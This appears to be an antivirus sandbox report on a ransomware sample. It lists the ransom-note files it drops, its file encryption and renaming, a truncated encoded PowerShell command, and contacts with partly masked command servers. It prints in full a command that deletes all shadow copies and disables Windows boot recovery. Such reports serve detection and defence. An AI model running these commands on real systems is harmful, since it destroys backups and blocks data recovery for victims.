Technical Information
To ensure autorun and distribution
Creates the following files on removable media
- <Drive name for removable media>:\4eu54ff-readme.txt
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBt...
Terminates or attempts to terminate
the following system processes:
- <SYSTEM32>\vssvc.exe
the following user processes:
- firefox.exe
Reads files which store third party applications passwords
- %HOMEPATH%\desktop\alert.htm
- %HOMEPATH%\desktop\trivial-merge.htm
- %HOMEPATH%\desktop\tileimage.bmp
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\nwfieldnotes1966.docx
- %HOMEPATH%\desktop\lisp_success.doc
- %HOMEPATH%\desktop\ituneshelpunavailable.html
- %HOMEPATH%\desktop\ituneshelpunavailable.htm
- %HOMEPATH%\desktop\hanni_umami_chapter.doc
- %HOMEPATH%\desktop\garden.htm
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\dialmap.bmp
- %HOMEPATH%\desktop\dial.bmp
- %HOMEPATH%\desktop\delete.avi
- %HOMEPATH%\desktop\dashborder_96.bmp
- %HOMEPATH%\desktop\correct.avi
- %HOMEPATH%\desktop\contosoroot_1.cer
- %HOMEPATH%\desktop\contosoroot.cer
- %HOMEPATH%\desktop\coffee.bmp
- %HOMEPATH%\desktop\browse.html
- %HOMEPATH%\desktop\archer.avi
- %HOMEPATH%\desktop\applicantform_en.doc
- %HOMEPATH%\desktop\aoc_saq_d_v3_merchant.docx
- %HOMEPATH%\desktop\alert.html
- %HOMEPATH%\desktop\uep_form_786_bulletin_1726i602.doc
- %HOMEPATH%\desktop\weeklysheet1215.doc
Modifies file system
Creates the following files
- %HOMEPATH%\gjnkb.exe
- %HOMEPATH%\contacts\4eu54ff-readme.txt
- C:\users\public\videos\4eu54ff-readme.txt
- C:\users\public\recorded tv\4eu54ff-readme.txt
- C:\users\public\pictures\4eu54ff-readme.txt
- C:\users\public\music\4eu54ff-readme.txt
- C:\users\public\libraries\4eu54ff-readme.txt
- C:\users\public\favorites\4eu54ff-readme.txt
- C:\users\public\downloads\4eu54ff-readme.txt
- C:\users\public\documents\4eu54ff-readme.txt
- C:\users\default\videos\4eu54ff-readme.txt
- %HOMEPATH%\documents\4eu54ff-readme.txt
- C:\users\default\saved games\4eu54ff-readme.txt
- C:\users\default\pictures\4eu54ff-readme.txt
- C:\users\default\music\4eu54ff-readme.txt
- C:\users\default\links\4eu54ff-readme.txt
- C:\users\default\favorites\4eu54ff-readme.txt
- C:\users\default\downloads\4eu54ff-readme.txt
- C:\users\default\documents\4eu54ff-readme.txt
- C:\users\default\desktop\4eu54ff-readme.txt
- C:\users\public\desktop\4eu54ff-readme.txt
- C:\far2\plugins\compare\4eu54ff-readme.txt
- %HOMEPATH%\downloads\4eu54ff-readme.txt
- %HOMEPATH%\favorites\msn websites\4eu54ff-readme.txt
- %HOMEPATH%\favorites\microsoft websites\4eu54ff-readme.txt
- %HOMEPATH%\favorites\links for united states\4eu54ff-readme.txt
- %HOMEPATH%\favorites\links\4eu54ff-readme.txt
- C:\users\public\videos\sample videos\4eu54ff-readme.txt
- C:\users\public\recorded tv\sample media\4eu54ff-readme.txt
- C:\users\public\pictures\sample pictures\4eu54ff-readme.txt
- C:\users\public\music\sample music\4eu54ff-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\desktop\4eu54ff-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\v3.5\4eu54ff-readme.txt
- %HOMEPATH%\desktop\4eu54ff-readme.txt
- C:\far2\addons\colors\default_highlighting\4eu54ff-readme.txt
- C:\far2\addons\colors\custom_highlighting\4eu54ff-readme.txt
- %HOMEPATH%\voip\4eu54ff-readme.txt
- %HOMEPATH%\videos\4eu54ff-readme.txt
- %HOMEPATH%\searches\4eu54ff-readme.txt
- %HOMEPATH%\saved games\4eu54ff-readme.txt
- %HOMEPATH%\pictures\4eu54ff-readme.txt
- %HOMEPATH%\music\4eu54ff-readme.txt
- %HOMEPATH%\links\4eu54ff-readme.txt
- C:\far2\addons\xlat\russian\4eu54ff-readme.txt
- %HOMEPATH%\favorites\4eu54ff-readme.txt
- C:\far2\pluginsdk\headers.pas\4eu54ff-readme.txt
- C:\far2\pluginsdk\headers.c\4eu54ff-readme.txt
- C:\far2\plugins\tmppanel\4eu54ff-readme.txt
- C:\far2\documentation\4eu54ff-readme.txt
- C:\users\default\4eu54ff-readme.txt
- C:\totalcmd\language\4eu54ff-readme.txt
- <Current directory>\~$ddopal.doc
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\4eu54ff-readme.txt
- %ProgramFiles%\microsoft sql server compact edition\4eu54ff-readme.txt
- C:\far2\pluginsdk\4eu54ff-readme.txt
- C:\far2\plugins\4eu54ff-readme.txt
- C:\far2\fexcept\4eu54ff-readme.txt
- %HOMEPATH%\favorites\windows live\4eu54ff-readme.txt
- %HOMEPATH%\4eu54ff-readme.txt
- C:\far2\addons\4eu54ff-readme.txt
- C:\users\4eu54ff-readme.txt
- C:\totalcmd\4eu54ff-readme.txt
- C:\recovery\4eu54ff-readme.txt
- %ProgramFiles(x86)%\4eu54ff-readme.txt
- %ProgramFiles%\4eu54ff-readme.txt
- <Current directory>\4eu54ff-readme.txt
- C:\far2\4eu54ff-readme.txt
- C:\4eu54ff-readme.txt
- C:\far2\encyclopedia\4eu54ff-readme.txt
- C:\far2\plugins\ftp\lib\4eu54ff-readme.txt
- C:\far2\addons\colors\4eu54ff-readme.txt
- C:\far2\addons\shell\4eu54ff-readme.txt
- C:\far2\addons\macros\4eu54ff-readme.txt
- C:\far2\plugins\proclist\4eu54ff-readme.txt
- C:\far2\plugins\network\4eu54ff-readme.txt
- C:\far2\plugins\macroview\4eu54ff-readme.txt
- C:\far2\plugins\hlfviewer\4eu54ff-readme.txt
- C:\far2\plugins\ftp\4eu54ff-readme.txt
- C:\far2\plugins\filecase\4eu54ff-readme.txt
- C:\far2\plugins\farcmds\4eu54ff-readme.txt
- C:\far2\plugins\emenu\4eu54ff-readme.txt
- C:\far2\addons\setup\4eu54ff-readme.txt
- C:\far2\plugins\editcase\4eu54ff-readme.txt
- C:\users\public\4eu54ff-readme.txt
- C:\far2\plugins\brackets\4eu54ff-readme.txt
- C:\far2\plugins\autowrap\4eu54ff-readme.txt
- C:\far2\plugins\arclite\4eu54ff-readme.txt
- C:\far2\plugins\align\4eu54ff-readme.txt
- C:\far2\encyclopedia\tap\4eu54ff-readme.txt
- C:\far2\documentation\rus\4eu54ff-readme.txt
- C:\far2\documentation\eng\4eu54ff-readme.txt
- C:\far2\addons\xlat\4eu54ff-readme.txt
- C:\far2\plugins\drawline\4eu54ff-readme.txt
- D:\4eu54ff-readme.txt
Moves the following files
- from <Current directory>\~$ddopal.doc to <Current directory>\~$ddopal.doc.4eu54ff
Moves itself
- from <PATH_SAMPLE>.doc to <PATH_SAMPLE>.doc.4eu54ff
Modifies user data files (Trojan.Encoder).
Changes user data files extensions (Trojan.Encoder).
Network activity
Connects to
- 'pa###bin.com':443
TCP
HTTP GET requests
- http://fc####leibrahim.top/sywo/fgoow.php?l=############
- http://18#.#93.141.248/gs.php
UDP
- DNS ASK fc####leibrahim.top
- DNS ASK pa###bin.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin.exe Delete Shadows /All /Quiet & bcdedit /set {default} recoveryenabled No & bcdedit /set {default} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\vssvc.exe'
